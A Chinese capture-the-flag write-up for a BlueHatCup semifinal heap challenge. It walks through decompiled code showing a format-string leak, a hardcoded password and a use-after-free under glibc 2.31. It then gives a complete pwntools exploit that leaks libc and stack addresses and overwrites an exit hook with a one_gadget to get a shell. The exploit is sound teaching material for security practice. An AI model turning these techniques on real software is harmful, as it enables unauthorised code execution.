BlueHatCup_semi_pwns

文章发布时间:

最后更新时间:

对大佬来说很简单,对我这种菜猫来说刚刚好
UAF
checksec

1
2
3
4
5
6
7
└─# checksec main
[*] '/mnt/attachment/main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

进入debugmode前
存在格式化字符串漏洞,可以泄露stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void __noreturn sub_1336()
{
void *v0; // [rsp+0h] [rbp-20h] BYREF
const void *buf; // [rsp+8h] [rbp-18h] BYREF
char s[8]; // [rsp+14h] [rbp-Ch] BYREF
int v3; // [rsp+1Ch] [rbp-4h]

puts("Tell me ur name: ");
memset(s, 0, sizeof(s));
read(0, s, 8uLL);
printf(s);
puts("DEBUG MODE ON");
puts("1. READ");
puts("2. WRITE");
puts(">> ");
v3 = sub_12F0();
if ( v3 == 1 )
{
puts("READ MODE: ");
read(0, &buf, 8uLL);
write(0, buf, 8uLL);
}
if ( v3 == 2 )
{
puts("WRITE MODE: ");
read(0, &v0, 8uLL);
read(0, v0, 8uLL);
}
exit(0);
}

有两种方法进入debug,
case4,当没有初始化堆时能进入

1
2
3
4
5
6
if ( !v3 )
{
puts("Nothing to show");
puts("May be need to check?");
sub_1336();
}

case5,login为admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int sub_1836()
{
char s[16]; // [rsp+0h] [rbp-10h] BYREF

memset(s, 0, sizeof(s));
puts("Passwd: ");
read(0, s, 0x10uLL);
if ( !strcmp(s, s2) )
{
puts("Login Success!");
sub_1336();
}
return puts("Login Failed!");
}

密码在这

1
.data:0000000000004010 31 32 33 34 35 36 37 38 39 30+s2 db '1234567890',0 

接下来看堆部分
add没有对chunk大小进行限制
限制了16个chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int sub_14B9()
{
int result; // eax
char s[512]; // [rsp+0h] [rbp-210h] BYREF
void *dest; // [rsp+200h] [rbp-10h]
int v3; // [rsp+208h] [rbp-8h]
int i; // [rsp+20Ch] [rbp-4h]

for ( i = 0; i <= 16 && qword_40A0[i]; ++i )
;
if ( i == 16 )
return puts("No Space!");
puts("Tell me the book content size: ");
v3 = sub_12F0();
memset(s, 0, sizeof(s));
puts("Tell me the book content: ");
read(0, s, v3);
dest = malloc(v3);
memcpy(dest, s, v3);
qword_40A0[i] = dest;
result = v3;
dword_4060[i] = v3;
return result;
}

delete没有置空指针
存在uaf,但是是glibc2.31,doublefree需要改key
但是可以unsorted泄露libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
_DWORD *v0; // rax
unsigned int v2; // [rsp+Ch] [rbp-4h]

puts("Tell me the book index: ");
v2 = sub_12F0();
if ( qword_40A0[v2] && v2 <= 0xF )
{
free((void *)qword_40A0[v2]);
v0 = dword_4060;
dword_4060[v2] = 0;
}
else
{
LODWORD(v0) = puts("Invalid!");
}
return (int)v0;
}

可以通过unsortedbin来泄露libc

debugmode最后有个exit,考虑打exithook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
p = remote('120.78.172.238',49149)
#p = process('./main')
elf = ELF("./main")
libc = ELF("./libc-2.31.so")
context(os='linux', arch='amd64', log_level='debug')

def debug():
gdb.attach(p)
pause()

def add(size,payload):
p.recvuntil(">>")
p.sendline(b'1')
p.recvuntil(b"Tell me the book content size:")
p.sendline(str(size))
p.recvuntil(b"Tell me the book content:")
p.send(payload)

def delete(index):
p.recvuntil(">>")
p.sendline(b'2')
p.recvuntil(b'Tell me the book index:')
p.sendline(str(index))

def edit(index,payload):
p.recvuntil(">>")
p.sendline(b'3')
p.recvuntil(b"Tell me the book index:")
p.sendline(str(index))
p.sendlineafter(b"Tell me the book content:",payload)

def check():
p.recvuntil(">>")
p.sendline(b'4')

def login():
p.sendlineafter(b'>> \n', b'5')
p.sendlineafter(b'Passwd: \n', b'1234567890\x00')

one_gadgets= [0xe6c7e,0xe6c81,0xe6c84]
add(0x420,b'aaaa') #0
add(0x10,b'aaaa') #1
delete(0)
check() #leak_libc
libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x1ebbe0#debug4offset
success('libc_base:%s',libc_base)

free_hook = libc_base + libc.sym['__free_hook']
sys_addr=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search(b'/bin/sh\x00'))
one_gadget = libc_base + 0xe6c7e
#debug()

login()
p.sendlineafter(b'name: \n', b'%7$p')
p.recvuntil(b'0x')
stack = int(p.recv(12), 16) #leak_stack
#success('stack:%s',hex(stack))

exit_hook = libc_base + 0x222060 + 3848 #exit_hook
#success('exit_hook:%s',hex(exit_hook))
p.sendlineafter(b'>> \n', b'2')

p.sendafter(b'WRITE MODE: \n', p64(exit_hook))
sleep(1)
p.sendline(p64(one_gadget))
#pause()

success('libc_base:%s',libc_base)
success('sys_addr:%s',hex(sys_addr))
success('bin_sh:%s',hex(bin_sh))
success('one_gadget:%s',hex(one_gadget))
success('stack:%s',hex(stack))
success('exit_hook:%s',hex(exit_hook))
p.interactive()